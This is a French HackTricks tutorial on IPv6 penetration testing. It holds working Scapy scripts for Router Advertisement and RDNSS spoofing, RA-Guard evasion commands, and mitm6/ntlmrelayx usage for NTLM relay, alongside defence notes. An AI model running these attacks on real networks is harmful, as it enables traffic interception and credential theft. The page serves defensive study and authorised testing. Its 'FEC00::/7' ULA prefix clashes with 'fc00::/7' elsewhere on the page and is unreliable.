Pentesting IPv6
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Théorie de base IPv6
Réseaux
Les adresses IPv6 sont structurées pour améliorer l’organisation du réseau et l’interaction des appareils. Une adresse IPv6 est divisée en :
- Préfixe réseau : les 48 premiers bits, déterminant le segment réseau.
- ID de sous-réseau : les 16 bits suivants, utilisés pour définir des sous-réseaux spécifiques au sein du réseau.
- Identifiant d’interface : les 64 bits finaux, identifiant de manière unique un appareil dans le sous-réseau.
Alors que IPv6 omet le protocole ARP présent dans IPv4, il introduit ICMPv6 avec deux messages principaux :
- Neighbor Solicitation (NS) : messages multicast pour la résolution d’adresses.
- Neighbor Advertisement (NA) : réponses unicast aux NS ou annonces spontanées.
IPv6 comprend également des types d’adresses spéciaux :
- Loopback Address (
::1) : équivalent à127.0.0.1d’IPv4, pour la communication interne au sein de l’hôte. - Link-Local Addresses (
FE80::/10) : pour les activités sur le réseau local, non routables sur Internet. Les appareils sur le même réseau local peuvent se découvrir mutuellement en utilisant cette plage.
Utilisation pratique d’IPv6 dans les commandes réseau
Pour interagir avec des réseaux IPv6, vous pouvez utiliser plusieurs commandes :
- Ping Link-Local Addresses : Vérifier la présence des appareils locaux en utilisant
ping6. - Neighbor Discovery : Utilisez
ip neighpour voir les appareils découverts au niveau de la couche liaison. - alive6 : Un outil alternatif pour découvrir les appareils sur le même réseau.
Ci-dessous quelques exemples de commandes :
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
Les adresses IPv6 peuvent être dérivées de l’adresse MAC d’un appareil pour la communication locale. Voici un guide simplifié pour dériver l’adresse Link-local IPv6 à partir d’une MAC connue, et un bref aperçu des types d’adresses IPv6 et des méthodes pour découvrir des adresses IPv6 sur un réseau.
Dériver l’adresse Link-local IPv6 à partir d’une adresse MAC
Étant donné une adresse MAC 12:34:56:78:9a:bc, vous pouvez construire l’adresse Link-local IPv6 comme suit :
- Convertir la MAC au format IPv6 :
1234:5678:9abc - Préfixer par
fe80::et insérerfffeau milieu :fe80::1234:56ff:fe78:9abc - Inverser le septième bit depuis la gauche, changeant
1234en1034:fe80::1034:56ff:fe78:9abc
Types d’adresses IPv6
- Unique Local Address (ULA) : pour les communications locales, pas destinée au routage public Internet. Préfixe :
FEC00::/7 - Multicast Address : pour la communication one-to-many. Livrée à toutes les interfaces du groupe multicast. Préfixe :
FF00::/8 - Anycast Address : pour la communication one-to-nearest. Envoyée à l’interface la plus proche selon le protocole de routage. Faisant partie de la plage unicast globale
2000::/3.
Préfixes d’adresses
- fe80::/10 : adresses Link-Local (similaire à 169.254.x.x)
- fc00::/7 : Unique Local-Unicast (similaire aux plages privées IPv4 comme 10.x.x.x, 172.16.x.x, 192.168.x.x)
- 2000::/3 : Unicast global
- ff02::1 : Multicast All Nodes
- ff02::2 : Multicast Router Nodes
Découvrir des adresses IPv6 sur un réseau
Méthode 1 : en utilisant les adresses Link-local
- Obtenir l’adresse MAC d’un appareil sur le réseau.
- Dériver l’adresse Link-local IPv6 à partir de l’adresse MAC.
Méthode 2 : en utilisant le Multicast
- Envoyer un ping à l’adresse multicast
ff02::1pour découvrir les adresses IPv6 sur le réseau local.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Attacks
Plusieurs techniques existent pour exécuter des attaques MitM dans des réseaux IPv6, telles que :
- Spoofing des ICMPv6 neighbor ou router advertisements.
- Utilisation d’ICMPv6 redirect ou de messages “Packet Too Big” pour manipuler le routage.
- Attaquer mobile IPv6 (généralement nécessite que IPSec soit désactivé).
- Mise en place d’un serveur DHCPv6 malveillant.
Identification des adresses IPv6 dans la nature
Exploration des sous-domaines
Une méthode pour trouver des sous-domaines potentiellement liés à des adresses IPv6 consiste à exploiter les moteurs de recherche. Par exemple, employer un modèle de requête comme ipv6.* peut être efficace. Plus précisément, la commande de recherche suivante peut être utilisée dans Google :
site:ipv6./
Utilisation des requêtes DNS
Pour identifier des adresses IPv6, certains types d’enregistrements DNS peuvent être interrogés :
- AXFR: Demande un transfert de zone complet, pouvant révéler un large éventail d’enregistrements DNS.
- AAAA: Recherche directement des adresses IPv6.
- ANY: Une requête large qui renvoie tous les enregistrements DNS disponibles.
Sondage avec ping6
Après avoir localisé des adresses IPv6 associées à une organisation, l’utilitaire ping6 peut être utilisé pour les sonder. Cet outil permet d’évaluer la réactivité des adresses IPv6 identifiées, et peut aussi aider à découvrir des dispositifs IPv6 adjacents.
Techniques d’attaque IPv6 sur le réseau local
Les sections suivantes couvrent des attaques IPv6 pratiques layer-2 qui peuvent être exécutées à l’intérieur du même segment /64 sans connaître de préfixe global. Tous les paquets présentés ci‑dessous sont link-local et ne circulent que via le local switch, ce qui les rend extrêmement furtifs dans la plupart des environnements.
Réglages système pour un laboratoire stable
Avant de manipuler du trafic IPv6, il est recommandé de durcir votre machine pour éviter d’être empoisonné par vos propres tests et pour obtenir les meilleures performances lors d’injections/sniffing massifs de paquets.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Sniffing passif NDP & DHCPv6
Parce que chaque hôte IPv6 rejoint automatiquement plusieurs groupes multicast (ff02::1, ff02::2, …) et utilise ICMPv6 pour SLAAC/NDP, vous pouvez cartographier l’ensemble du segment sans envoyer un seul paquet. Le one-liner Python/Scapy suivant écoute les messages L2 les plus intéressants et affiche un journal horodaté et coloré montrant qui est qui :
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
Résultat : une topologie link-local complète (MAC ⇄ IPv6) en quelques secondes, sans déclencher les systèmes IPS/IDS qui reposent sur des scans actifs.
Router Advertisement (RA) Spoofing
Les hôtes IPv6 se reposent sur les ICMPv6 Router Advertisements pour la découverte de la passerelle par défaut. Si vous injectez des RAs falsifiés plus fréquemment que le routeur légitime, les appareils basculeront silencieusement vers vous en tant que passerelle.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Pour réellement rediriger le trafic après avoir remporté la course :
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Drapeaux Router Advertisement (M/O) & Préférence du routeur par défaut (Prf)
| Drapeau | Signification | Effet sur le comportement du client |
|---|---|---|
| M (Managed Address Configuration) | Signale que l’adressage stateful via DHCPv6 est disponible sur le segment. | Fort indicateur que le DHCPv6 spoofing peut fonctionner. |
| O (Other Configuration) | Signale que les hôtes doivent utiliser DHCPv6 pour d’autres paramètres (DNS, NTP, …). | L’adresse provient généralement encore de SLAAC, mais le DNS peut être hijacké avec DHCPv6. |
| M=0 / O=0 | Réseau de type SLAAC pur. | DHCPv6 peut ne jamais apparaître ; concentrez-vous sur rogue RA / RDNSS plutôt que sur mitm6. |
| M=1 / O=1 | Environnement mixte. | Les informations DHCPv6 et SLAAC peuvent coexister ; la surface de spoofing est la plus grande. |
Pendant un pentest vous pouvez simplement inspecter le RA légitime une fois et décider quel vecteur est faisable :
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
Look for the flags [M,O] field in the dump – no guessing required.
Le champ Prf (Router Preference) à l’intérieur de l’en-tête RA contrôle l’attrait de votre routeur rogue lorsque plusieurs gateways sont présents :
| Prf value | Binary | Meaning |
|---|---|---|
| High | 10 | Les clients préfèrent ce routeur à tout routeur Medium/Low |
| Medium (default) | 01 | Utilisé par presque tous les appareils légitimes |
| Low | 00 | Choisi uniquement lorsqu’aucun meilleur routeur n’existe |
When generating the packet with Scapy you can set it through the prf parameter as shown above (prf=0x1 → High). Combining High Prf, a short interval, and a non-zero lifetime makes your rogue gateway remarkably stable.
RDNSS (DNS) Spoofing via RA
RFC 8106 allows adding a Recursive DNS Server (RDNSS) option inside a RA. This is the go-to DNS hijack primitive when the segment is SLAAC-only (M=0 / O=0) and clients do not talk to DHCPv6. Client support is implementation-dependent, so validate the target OS in the lab instead of assuming universal RDNSS consumption.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Le même paquet peut aussi porter une option DNSSL pour empoisonner les chemins de résolution des noms courts dans des environnements IPv6-only ou dual-stack où les domaines de recherche comptent. Si vous arrêtez l’attaque proprement, envoyez une RA de réversion avec la même option et lifetime=0.
Évasion de RA-Guard en pratique
RFC 7113 documente pourquoi les déploiements simplistes de RA-Guard peuvent être contournés lorsqu’ils ne parviennent pas à analyser la chaîne complète d’en-têtes IPv6 ou lorsqu’ils laissent passer (fail open) les fragments. Ce n’est pas une recherche nouvelle, mais c’est toujours pertinent opérationnellement car de nombreux switches d’accès n’implémentent qu’un filtrage partiel.
Les builds récents de thc-ipv6 exposent cela directement dans les outils:
# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64
# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64
# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0
Utilisez-les uniquement après avoir confirmé qu’une RA forgée normale est filtrée. Si -H/-D/-F amène soudainement les hôtes à accepter votre routeur malveillant, vous avez la preuve que le switch fait correspondre uniquement l’en-tête IPv6 fixe au lieu du véritable payload ICMPv6 RA.
DHCPv6 DNS Spoofing (mitm6)
Quand la RA légitime annonce M et/ou O, les clients Windows émettent souvent des requêtes DHCPv6 pour l’adresse ou la configuration annexe. mitm6 abuse de ce comportement en répondant au DHCPv6 et en insérant votre adresse IPv6 link-local comme DNS avec un bail court. Cela permet :
- NTLM relay attacks (WPAD + DNS hijacking)
- Intercepter la résolution de noms interne sans toucher aux routeurs
- Ciblage discret car vous pouvez limiter le poisoning à des hôtes ou domaines spécifiques
Usage typique:
# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus
# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad
Détails utiles des versions actuelles de mitm6:
--no-rarend l’attaque uniquement DHCPv6 lorsque le réseau détecte des RAs non autorisés.-d/--domainet--host-allowlistmaintiennent le poisoning ciblé au lieu de détourner chaque requête sur le segment.--ignore-nofqdnréduit le bruit des clients qui omettent l’option DHCPv6 FQDN.
Si le segment est en SLAAC pur (M=0 / O=0), mitm6 est généralement inadapté. Utilisez plutôt des RAs non autorisés / RDNSS, et conservez la logique de relais de niveau supérieur dans la page WPAD/relay.
Défenses
- RA Guard / DHCPv6 Guard / ND Inspection sur commutateurs gérés.
- ACLs de port autorisant uniquement le MAC du routeur légitime à envoyer des RAs.
- Surveiller les RAs à taux élevé inattendu ou les changements soudains de RDNSS.
- Désactiver IPv6 sur les terminaux est un contournement temporaire qui casse souvent les services modernes et dissimule des angles morts – préférez le filtrage L2.
Découverte NDP des routeurs sur les SSID invités/publics et exposition des services de gestion
De nombreux routeurs grand public exposent des daemons de gestion (HTTP(S), SSH/Telnet, TR-069, etc.) sur toutes les interfaces. Dans certains déploiements, le SSID « guest/public » est ponté vers le WAN/le cœur et est uniquement IPv6. Même si l’IPv6 du routeur change à chaque démarrage, vous pouvez l’apprendre de façon fiable en utilisant NDP/ICMPv6 puis vous connecter directement au plan de gestion depuis le SSID invité.
Flux de travail typique d’un client connecté au SSID invité/public :
- Découvrir le routeur via une Router Solicitation (ICMPv6) vers le multicast All-Routers
ff02::2et capturer le Router Advertisement (RA) :
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
Le RA révèle l’adresse link-local du routeur et souvent une adresse/préfixe globale. Si seule une link-local est connue, souvenez-vous que les connexions doivent préciser l’index de zone, par ex. ssh -6 admin@[fe80::1%wlan0].
Alternative : utilisez la suite ndisc6 si disponible :
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- Atteindre des services exposés via IPv6 depuis le SSID invité :
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- Si le shell de gestion fournit des outils de capture de paquets via un wrapper (par ex., tcpdump), vérifiez la présence d’injection d’arguments/nom de fichier permettant de passer des flags tcpdump supplémentaires comme
-G/-W/-zafin d’obtenir une exécution de commandes après rotation. Voir :
Défenses/notes :
- Ne liez pas la gestion aux bridges invités/publics ; appliquez des firewalls IPv6 sur les bridges SSID.
- Limitez le débit (rate-limit) et filtrez NDP/RS/RA sur les segments invités lorsque c’est possible.
- Pour les services qui doivent être accessibles, imposez authN/MFA et des rate-limits stricts.
Références
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 7113 – RA-Guard Implementation Advice
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


